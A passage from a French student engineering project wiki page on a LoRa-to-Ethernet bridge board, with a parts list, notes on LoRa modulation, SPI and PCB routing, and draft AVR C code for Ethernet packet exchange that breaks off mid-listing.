 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603saf1004t5e/thick-film-resistor-1mohm-100mw/dp/1631320]&lt;br /&gt;
 |- |&lt;br /&gt;
 | Résistance 1KΩ&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mcwr06x1001ftl/res-couche-epaisse-1k-1-0-1w-0603/dp/2447272]&lt;br /&gt;
 |-&lt;br /&gt;
 | Resistances 470Ω&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0063w06031470r/res-couche-epaisse-470r-1-0-063w/dp/9331239]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacité 100nF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell  [http://fr.farnell.com/multicomp/mc0603b104k500ct/condensateur-mlcc-x7r-100nf-50v/dp/1759122]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacité 4.7uF&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603x475k6r3ct/condensateur-mlcc-x5r-4-7uf-6/dp/2320811]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacité 10uF&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5 |&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603x106m6r3ct/condensateur-mlcc-x5r-10uf-0603/dp/1759393]&lt;br /&gt;
 |-&lt;br /&gt;
 | Interrupteur&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | Mouser [http://www.mouser.fr/ProductDetail/CK-Components/GT11MSABE/?qs=sGAEpiMZZMvudeGI7i40XDPOW52%2fnz5EVihaxwUPFuE%3d]&lt;br /&gt;
 |-&lt;br /&gt;
 | Embase USB&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | Farnell [http://fr.farnell.com/te-connectivity-amp/1734328-1/embase-mini-usb-2-0-type-ab-traversante/dp/2112375?ost=2112375&amp;amp;selectedCategoryId=&amp;amp;categoryNameResp=Toutes%2Bles%2Bcat%25C3%25A9gories&amp;amp;searchView=table&amp;amp;iscrfnonsku=false]&lt;br /&gt;
 |-&lt;br /&gt;
 | FTDI FT232 BASIC&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/ftdi/ft232bl-tr/usb-to-uart-lqfp32-232/dp/9519769] MOUSER [http://www.mouser.fr/ProductDetail/FTDI/FT232RL-TUBE/?qs=sGAEpiMZZMs5ceO8zL%252bTx2H7JnbI4GMI]&lt;br /&gt;
 |-&lt;br /&gt;
 | Diode&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/s1a/diode-cms-1-0a-50v/dp/7277920?ost=DIODE+7277920&amp;amp;selectedCategoryId=&amp;amp;categoryNameResp=Toutes%2Bles%2Bcat%25C3%25A9gories&amp;amp;searchView=table&amp;amp;iscrfnonsku=false]&lt;br /&gt;
 |-&lt;br /&gt;
 | Regulateur 78ADJ  LDO Tension fixe&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/on-semiconductor/mc33269dt-5-0g/ic-linear-voltage-regulator/dp/1652331?ost=1652331&amp;amp;selectedCategoryId=&amp;amp;categoryName=Toutes+les+cat%C3%A9gories&amp;amp;categoryNameResp=Toutes%2Bles%2Bcat%25C3%25A9gories]&lt;br /&gt;
 |-&lt;br /&gt;
 | LED yellow&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/ovs-0806/led-0805-super-brt-yellow/dp/1716767]&lt;br /&gt;
 |-&lt;br /&gt;
 | LED orange&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell&lt;br /&gt;
 |-&lt;br /&gt;
 | LED green&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/ovs-0804/led-0805-green-300mcd-520nm/dp/1716766]&lt;br /&gt;
 |-&lt;br /&gt;
 | LED blue&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/ovs-0603/led-0603-super-bright-blue/dp/1716770]&lt;br /&gt;
 |-&lt;br /&gt;
 | &amp;lt;span style=&amp;quot;color:red&amp;quot;&amp;gt;Partie LoRa&amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
 |-&lt;br /&gt;
 | Module radio de type RF-LORA-868-SX1276&lt;br /&gt;
 | 4&lt;br /&gt;
 | 4&lt;br /&gt;
 | 4&lt;br /&gt;
 | Mouser [http://www.mouser.fr/ProductDetail/Semtech/SX1276IMLTRT/?qs=%2fha2pyFadugD0GFlntRWMUKdf7nvBipcWBFnZuVONfp58bvCDWvC3g%3d%3d]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 10uF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/murata/grm188r60j106ke47d/condens-mlcc-x5r-10uf-6-3v-0603/dp/2494230]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 100nF&lt;br /&gt;
 | 20&lt;br /&gt;
 | 20&lt;br /&gt;
 | 20&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603b104k500ct/condensateur-mlcc-x7r-100nf-50v/dp/1759122]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 47pF |&lt;br /&gt;
 | 20&lt;br /&gt;
 | 20&lt;br /&gt;
 | 20&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603n470j500ct/condensateur-mlcc-c0g-np0-47pf/dp/1759062]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 15pF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603n150j500ct/condensateur-mlcc-c0g-np0-15pf/dp/1759055]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 10nF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603b103k500ct/condensateur-mlcc-x7r-10nf-50v/dp/1759102]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 1.5pF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603n1r5c500ct/condensateur-mlcc-c0g-np0-1-5pf/dp/1759042]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 33pF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603n330j500ct/condensateur-mlcc-c0g-np0-33pf/dp/1759059]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 4.7pF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/walsin/0603n4r7c500ct/condensat-mlcc-np0-4-7pf-50v-0603/dp/2524896]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 1.2pF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/yageo-phycomp/cc0603crnpo9bn1r2/condensateur-mlcc-c0g-np0-1-2pf/dp/721852]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 1.8pF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/walsin/0603n1r8c500ct/condensat-mlcc-np0-1-8pf-50v-0603/dp/2524881]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 3.3pF |&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/walsin/0603n3r3c500ct/condensat-mlcc-np0-3-3pf-50v-0603/dp/2524894]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 1nF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603b102k500ct/condensateur-mlcc-x7r-1nf-50v/dp/1759088]&lt;br /&gt;
 |-&lt;br /&gt;
 | Inductance 33nH&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/tdk/mlg1608b33nj/inductance-hf-33nf-0603/dp/1669604]&lt;br /&gt;
 |-&lt;br /&gt;
 | Inductance 6.2nH (0402)&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/tdk/mlg1005s6n2s/inductance-hf-6-2nf-0402/dp/1669585]&lt;br /&gt;
 |-&lt;br /&gt;
 | Inductance 10nH&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mcft000043/inductance-0603-10nh/dp/1711753]&lt;br /&gt;
 |-&lt;br /&gt;
 | Resistances 1KΩ&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/panasonic-electronic-components/erj3geyj102v/res-couche-epaisse-1k-5-0-1w-0603/dp/2059601]&lt;br /&gt;
 |-&lt;br /&gt;
 | Quartz 32MHz(16pF)&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/epson/x1e0000210391-tsx-3225-32mhz-16pf/quartz-32mhz-16pf-3-2-x-2-5mm/dp/2471844]&lt;br /&gt;
 |-&lt;br /&gt;
 | Regulateur PE4259&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | Digi-Key [http://www.digikey.fr/product-detail/fr/peregrine-semiconductor/4259-63/1046-1011-1-ND/2614515?WT.srch=1&amp;amp;mkwid=s2ceNN64k&amp;amp;pcrid=78125697774&amp;amp;pkw=_cat%3Adigikey.fr&amp;amp;pmt=b&amp;amp;pdv=c] Farnell[http://fr.farnell.com/skyworks-solutions/as179-92lf/ic-switch-rf-spdt-0-02-3-0ghz/dp/1753762]&lt;br /&gt;
 |-&lt;br /&gt;
 | &amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Deuxième prototype (à base d'un ARM-3 Cortex)&amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
 |-&lt;br /&gt;
 |&amp;lt;span style=&amp;quot;color:red&amp;quot;&amp;gt;Autres cartes&amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
 |-&lt;br /&gt;
 | 32u4 RFM95 LoRa Radio - 868 or 915 MHz&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | Adafruit [https://www.adafruit.com/product/3078]&lt;br /&gt;
 |-&lt;br /&gt;
 | Prototype carte developpement MBED&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | [http://fr.farnell.com/nxp/om11043/kit-carte-de-prototypage-mbed/dp/1761179]&lt;br /&gt;
 |-&lt;br /&gt;
 | Kit Board developpement MBED&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | [http://fr.rs-online.com/web/p/kits-de-developpement-pour-processeurs-et-microcontroleurs/7694182/?searchTerm=769-4182&amp;amp;relevancy-data=636F3D3126696E3D4931384E525353746F636B4E756D6265724D504E266C753D656E266D6D3D6D61746368616C6C26706D3D5E283F69292852537C5253207C52532D293F5C647B337D285C73293F5B5C732D2F255C2E2C5D285C73293F5C647B332C347D2426706F3D313426736E3D592673743D52535F53544F434B5F4E554D4245522677633D4E4F4E45267573743D3736392D34313832267374613D3736393431383226]&lt;br /&gt;
 |-&lt;br /&gt;
 |}&lt;br /&gt;
&lt;br /&gt;
===Liste du matériel===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:NEWListe_du_matériel-IMA5-PFE19.ods]]&lt;br /&gt;
&lt;br /&gt;
= Premier prototype =&lt;br /&gt;
&lt;br /&gt;
La carte est composée de 3 parties principales : partie Ethernet, partie uC AtMega328P , partie LoRa.&lt;br /&gt;
&lt;br /&gt;
Le rôle du micro-contrôleur est de traiter les informations qui lui parviennent , interfacer et contrôler les communications entre  les périphériques.&lt;br /&gt;
&lt;br /&gt;
La partie LoRa est gérée par un émetteur-recepteur SX1276 doté d'un modem LoRa de chez Semtech offrant une communication longue portée. Cette communication repose sur le principe de la modulation à étalement de spectre.&lt;br /&gt;
&lt;br /&gt;
=== Qu'est ce qu'une modulation à étalement de spectre LoRa? ===&lt;br /&gt;
&lt;br /&gt;
Le modem LoRa utilise une technique exclusive de modulation du spectre étalé opérant dans la bande de fréquences ISM. Cette technique est plus résistante aux interférences et au bruit  dans la bande.&lt;br /&gt;
&lt;br /&gt;
La modulation LoRa repose sur le même principe que la modulation DSSS( Direct Sequence Spread Spectrum)  qui consiste donc à  générer de la redondance d’information à chaque envoi d’une séquence de bits.  Ainsi les bits reçus qui n’utilisent pas le même codage seront rejetés (dont les signaux d’interférence ou le bruit).  Le récepteur peut ainsi reconnaître l’émetteur.&lt;br /&gt;
Dans la modulation LoRa, l'étalement de spectre est obtenu en générant un signal qui  varie continuellement en fréquence et occupe toute la bande passante.&lt;br /&gt;
&lt;br /&gt;
// schéma&lt;br /&gt;
&lt;br /&gt;
=== Alimentation ===&lt;br /&gt;
Pour fonctionner la carte a besoin d'alimentation.La carte fonctionnant sous une tension de 5V ,il a été convenu qu'elle sera alimentée via un port USB. &lt;br /&gt;
&lt;br /&gt;
=== Interfaçage ===&lt;br /&gt;
Les périphériques reliés au microcontrôleur communiqueront avec ce dernier via la liaison SPI. Le bus  SPI est un bus série synchrone constitué de 4 signaux logiques. &lt;br /&gt;
SCK,MOSI,SS générés par le maître et MISO généré par l'esclave. Le maître s'occupe de la communication. Plusieurs esclaves peuvent communiquer sur le même bus à condition qu'il y ait une ligne de sélection dédiée à chaque esclave.&lt;br /&gt;
&lt;br /&gt;
NB : Le uC AtMEGA328P ne disposant que d'une seule ligne de sélection SS nous sommes confrontés au problème de liaison d' un périphérique supplémentaire.&lt;br /&gt;
Solution: Nous allons donc configurer un I/O comme un SS afin d'avoir autant de SS que de périphériques esclaves.&lt;br /&gt;
&lt;br /&gt;
Fonctionnement de l'interface SPI du SX1278 : &lt;br /&gt;
&lt;br /&gt;
La communication est simultanée entre un maître et un esclave. Le maître génère l'horloge et sélectionne un esclave. A chaque coup d'horloge , le maître transmet un bit à l'esclave.&lt;br /&gt;
&lt;br /&gt;
MOSI est généré par le maître sur le front descendant de SCK et est échantillonné par l'esclave sur le front montant de SCK tandis que MISO est généré par l'esclave sur le bord descendant de SCK.&lt;br /&gt;
&lt;br /&gt;
Le  transfert est déclenché lorsque NSS est à l'état bas . MISO est alors en haute impédance lorsque NSS est à l'état haut.&lt;br /&gt;
&lt;br /&gt;
*Le premier octet envoyé est l'octet d'adresse. Il comprend:&lt;br /&gt;
  * Un bit wnr, 1 pour l'accès en écriture et 0 pour l'accès en lecture.&lt;br /&gt;
  * suivi de 7 bits d'adresse(MSB en premier).&lt;br /&gt;
&lt;br /&gt;
*Le deuxième octet est un octet de données, soit envoyé sur MOSI par le maître en cas d'accès en écriture ou reçu par le maître sur MISO en cas d'accès en lecture. L'octet de données est transmis MSB en premier.&lt;br /&gt;
&lt;br /&gt;
Les octets de traitement peuvent être envoyés sur MOSI (pour accès en écriture) ou reçus sur MISO (pour accès en lecture) sans un front montant du NSS et renvoyer l'adresse.&lt;br /&gt;
&lt;br /&gt;
La transmission de la trame se termine lorsque NSS passe à l'état haut. &lt;br /&gt;
&lt;br /&gt;
Pendant l'accès en écriture, l'octet transféré de l'esclave au maître sur la ligne MISO est la valeur de l'écriture avant l'opération d'écriture.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Liaison_Maitre-esclave.jpg|500px|center|Carte Ethernet]]&lt;br /&gt;
&lt;br /&gt;
Transmission d'une trame SPI LoRa en mode simple accès&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Simple_access_lora.jpg|Transmission trame SPI LoRa|500px|center]]&lt;br /&gt;
&lt;br /&gt;
=== Machine d'états===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Réalisation des cartes PCB===&lt;br /&gt;
====La carte PCB====&lt;br /&gt;
----&lt;br /&gt;
Depuis quelques séances, nous avons commencé à réaliser notre carte PCB  qui contient la partie Ethernet  , Microcontrôleur et LoRa à l'aide du logiciel Altium. &lt;br /&gt;
Dans un premier temps nous avons d'abord réalisé les librairies Altium des composants dont nous ne disposons pas. La réalisation des librairies consiste en 2 étapes : schématique et empreinte. Il s'agit donc des composants tels que : le chip SX1276, régulateur PE4259 et le connecteur SI-50196-F. &lt;br /&gt;
&lt;br /&gt;
Voici leurs schématiques et footprints : &lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery style=&amp;quot;margin: 0 auto;&amp;quot;&amp;gt;&lt;br /&gt;
Fichier:sx1276.PNG|Schematique de Lora SX1276&lt;br /&gt;
Fichier:Connector.PNG‎|Schematique de connecteur SI-50196-F&lt;br /&gt;
Fichier:pe4259.PNG‎|Schématique de régulateur PE4259&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery style=&amp;quot;margin: 0 auto;&amp;quot;&amp;gt;&lt;br /&gt;
Fichier:Con_footprint.PNG|Footprint de connecteur SI-50196-F&lt;br /&gt;
Fichier:pe4259foot.PNG‎|Footprint de régulateur PE4259&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 Il conviendra de préciser que quelques librairies utilisées sont disponibles et téléchargeables sur le site d'Altium Designer et peuvent être installées sur le logiciel Altium de l'école.&lt;br /&gt;
 http://techdocs.altium.com/display/ADOH/Download+Libraries&lt;br /&gt;
&lt;br /&gt;
Cependant nous avons eu un problème du connecteur, puisque normalement pour les autres composants les pistes sont reliés avec les composants qui sont autours sur le schématique et le routage. Mais après avoir vu la carte que nous avons, pour la partie du connecteur il faut créer une cadre pour fixer la place du connecteur sur la carte PCB.&lt;br /&gt;
&lt;br /&gt;
Parallèlement nous avons réalisé la première étape de la conception d'une carte électronique : la réalisation de la schématique. Ci-dessous les schématiques des différentes parties de la carte&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery style=&amp;quot;margin: 0 auto;&amp;quot;&amp;gt;&lt;br /&gt;
Fichier:Ethernet.PNG|Ethernet_Sch&lt;br /&gt;
Fichier:AT328P.PNG|AT328P.PNG_Sch&lt;br /&gt;
Fichier:RF_LoRa.PNG‎|RF_LoRa.PNG_Sch&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Très vite, nous avons entamé la deuxième étape de la conception : le routage. En raison des contraintes de temps, nous allons d'abord produire la partie RF_LoRa afin de pouvoir avancer sur la partie programmation.&lt;br /&gt;
&lt;br /&gt;
====Routage du PCB====&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
Le routage consiste à déterminer la route des signaux d'alimentation qui vont relier les composants entre eux et à placer les composants sur la carte.  La carte a été conçue en respectant quelques contraintes de conception dimensionnelles : &lt;br /&gt;
 *la valeurs théoriques de conception sont *largeur des pistes = *,&lt;br /&gt;
 * l'angle entre les pistes ne doit pas être droit, &lt;br /&gt;
 *la carte est en double face, &lt;br /&gt;
&lt;br /&gt;
[[Fichier:CartePCB.PNG‎|500px|center|PCB de la carte]]&lt;br /&gt;
&lt;br /&gt;
==== Réalisation de l'antenne ====&lt;br /&gt;
----&lt;br /&gt;
La carte nécessite une antenne pour la communication RF. En concevant la carte , nous avons désigné la piste reliée à l'antenne de telle sorte qu'elle soit adaptée à 50 ohms (afin d'éviter toute perte de puissance liée à la désadaptation). Nous avons donc utilisé le logiciel AppCAD en prenant en compte certains paramètres tels que le substrat utilisé, la fréquence de fonctionnement,..&lt;br /&gt;
[[Fichier:Sonia.png‎|500px|center|Design de l'antenne]]&lt;br /&gt;
&lt;br /&gt;
====La programmation====&lt;br /&gt;
----&lt;br /&gt;
La carte sera programmée en langage C, langage de programmation modulaire.&lt;br /&gt;
&lt;br /&gt;
Le langage a été choisi pour son caractère universel, sa rapidité, proche du langage machine permettant une programmation simple des microcontrôleurs,..&lt;br /&gt;
 &lt;br /&gt;
*&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt; Partie LoRa &amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
semaine 07/11/2016: Ecriture des fonctions d'écriture et de lecture de l'AtMega (digitalWrite() et digitalRead()) en C qui nous permettront d'écrire les fonctions d'écriture et de lecture SPI.&lt;br /&gt;
&lt;br /&gt;
semaine 14/11/2016 : Ecriture des librairies LoRa et AtMega ainsi que des fichiers de compilation.&lt;br /&gt;
&lt;br /&gt;
Le programme est subdivisé en 5 parties : partie configuration des entrées sorties, partie gestion de la liaison SPI , partie gestion de la modulation LoRa ainsi que les parties gérant les modules émetteurs et récepteurs de la communication RF (Client-Server).&lt;br /&gt;
Le programme est compilable. Nous allons d'abord faire des tests basiques sur un Arduino et ensuite nous testerons sur les modules inAir9 de chez modtronix.&lt;br /&gt;
&lt;br /&gt;
Après avoir retranscrit les bibliothèques en C, nous avons tenté de faire un test. On s'est vite rendu compte que les fonctions SPI étaient mal écrites, elles ont été réécrites en utilisant les registres SPI de l'AtMega328P.&lt;br /&gt;
Nous avons également réalisé 3  ponts diviseurs permettant de fournir des tensions supportables par les broches du modem LoRa.&lt;br /&gt;
Cependant,   &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
*&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Partie Ethernet  &amp;lt;/span&amp;gt;&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
Pour la partie Ethernet, dans un premier temps nous avons écrit deux petits programmes pour l'émetteur et le récepteur. &lt;br /&gt;
Voici le code pour l'émetteur&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
#include &amp;lt;string.h&amp;gt;&lt;br /&gt;
#include &amp;lt;avr/io.h&amp;gt;&lt;br /&gt;
#include &amp;lt;util/delay.h&amp;gt;&lt;br /&gt;
&lt;br /&gt;
#include &amp;quot;serial.h&amp;quot;&lt;br /&gt;
#include &amp;quot;spi.h&amp;quot;&lt;br /&gt;
#include &amp;quot;enc28j60.h&amp;quot;&lt;br /&gt;
&lt;br /&gt;
#define MAX_PACKET     128&lt;br /&gt;
#define MAC_SIZE           6&lt;br /&gt;
#define TYPE_SIZE           2&lt;br /&gt;
&lt;br /&gt;
unsigned char mac_sender[]={0x00,0x10,0x10,0x10,0x10,0x01};&lt;br /&gt;
unsigned char mac_receiver[]={0x00,0x10,0x10,0x10,0x10,0x02};&lt;br /&gt;
unsigned char packet_type[]={0x11,0x11};&lt;br /&gt;
unsigned char packet[MAX_PACKET];&lt;br /&gt;
&lt;br /&gt;
int main(void])&lt;br /&gt;
{&lt;br /&gt;
init_printf();&lt;br /&gt;
spi_init();&lt;br /&gt;
enc28j60Init(mac_sender);&lt;br /&gt;
unsigned char version=enc28j60getrev();&lt;br /&gt;
printf(&amp;quot;revision: %d\n&amp;quot;,version);&lt;br /&gt;
memcpy(packet,mac_receiver,MAC_SIZE);&lt;br /&gt;
memcpy(packet+MAC_SIZE,mac_sender,MAC_SIZE);&lt;br /&gt;
memcpy(packet+2*MAC_SIZE,packet_type,2);&lt;br /&gt;
packet[2*MAC_SIZE+2]=0xaa;&lt;br /&gt;
packet[2*MAC_SIZE+3]=0xbb;&lt;br /&gt;
int len=2*MAC_SIZE+TYPE_SIZE+3;&lt;br /&gt;
unsigned char count=0;&lt;br /&gt;
while(1){&lt;br /&gt;
		packet[2*MAC_SIZE+4]=count++;&lt;br /&gt;
                enc28j60PacketSend(len,packet);&lt;br /&gt;
                printf(&amp;quot;Packet send size=%d\n&amp;quot;,len);&lt;br /&gt;
                _delay_ms(1000);&lt;br /&gt;
                }&lt;br /&gt;
		return 0;		&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Et le code pour le récepteur&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
int main(void])&lt;br /&gt;
{&lt;br /&gt;
init_printf();&lt;br /&gt;
spi_init();&lt;br /&gt;
enc28j60Init(mac_receiver);&lt;br /&gt;
unsigned char version=enc28j60getrev();&lt;br /&gt;
printf(&amp;quot;revision: %d\n&amp;quot;,version);&lt;br /&gt;
while(1){&lt;br /&gt;
                int size=enc28J60PacketReceive(MAX_PACKET,packet);&lt;br /&gt;
                printf(&amp;quot;Packet received size=%d\n&amp;quot;,size);&lt;br /&gt;
                int i,col=0;&lt;br /&gt;
                for(i=2*MAC_SIZE+TYPE_SIZE;i&amp;lt;size;i++){&lt;br /&gt;
                     printf(&amp;quot;%02x&amp;quot;,packet[i]);&lt;br /&gt;
                     col++;&lt;br /&gt;
                     if(col==16){ printf(&amp;quot;\n&amp;quot;); col=0);}&lt;br /&gt;
                     }&lt;br /&gt;
                if(col&amp;gt;0) printf&amp;quot;\n&amp;quot;);&lt;br /&gt;
                _delay_ms(1000);&lt;br /&gt;
                }&lt;br /&gt;
		return 0;		&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Ces deux codes permettent l'émetteur et le récepteur de communiquer entre eux. &lt;br /&gt;
&lt;br /&gt;
[[Fichier:communication.jpg|400px|center|La communication entre l'émetteur et le récepteur]]&lt;br /&gt;
&lt;br /&gt;
Avec le minicom, nous avons bien observé les données qui sont envoyées par l'émetteur et les données qui sont reçues par le récepteur.&lt;br /&gt;
&lt;br /&gt;
Ensuite nous avons développé notre idée. Voici une image pour mieux expliqué comment cela fonctionne.&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
[[Fichier:Untitled drawing.jpg|400px|thumb|center|Objectif du second prototype]]&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
La carte ethernet1 doit arriver à recevoir des paquets ethernet du PC1 par la liaison série. Ensuite elle doit envoyer ces paquets à Arduino1 via SPI. Après l'Arduino1 va envoyer ces paquets par TX et RX. Une fois qu'Arduino2 reçoit ces paquet, il doit être capable d'envoyer des paquets à la carte ethernet2. Au final la carte ethernet2 doit envoyer toutes des données reçues à PC2. La transmission doit être bidirectionnel. &lt;br /&gt;
Pour réussir ce but, nous avons divisé le travail en deux partie. Dans un premier temps, nous avons programmé une carte comme serveur et l'autre carte comme client. Et nous devions réaliser des taches marquées ci-dessous:&lt;br /&gt;
&lt;br /&gt;
* si un paquet est reçu par le ENC28j60 alors le recopier dans le tableau Ethernet&lt;br /&gt;
* si un paquet est présent dans le tableau Ethernet, envoyer l'octet courant sur le port série&lt;br /&gt;
* si un octet arrive sur le port série le stocker dans le tableau Serie&lt;br /&gt;
* si le paquet dans le tableau Serie est complet, l'envoyer sur Ethernet&lt;br /&gt;
&lt;br /&gt;
Donc nous avons écrit un code   &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
int main(void)&lt;br /&gt;
{&lt;br /&gt;
init_printf();&lt;br /&gt;
spi_init();&lt;br /&gt;
enc28j60Init(mac_receiver); //enc28j60Init(mac_sender) pour l'émetteur&lt;br /&gt;
unsigned char version=enc28j60getrev();&lt;br /&gt;
printf(&amp;quot;revision: %d\n&amp;quot;,version);&lt;br /&gt;
while(1){&lt;br /&gt;
  if(nb_ethernet==0{&lt;br /&gt;
    nb_ethernet=enc28j60PacketReceiver(MAX_BYTES,packet_ethernet);&lt;br /&gt;
    if(nb_ethernet!=0) index_ethernet=0;&lt;br /&gt;
    }&lt;br /&gt;
  if(nb_ethernet&amp;gt;0){&lt;br /&gt;
    if(index_ethernet&amp;lt;nb_ethernet){&lt;br /&gt;
      unsigned char c=packet_ethernet[index_ethernet++];&lt;br /&gt;
      if(c==SLIP_END){ send_serial(SLIP_ESC); send_serial(SLIP_CODE_END); }&lt;br /&gt;
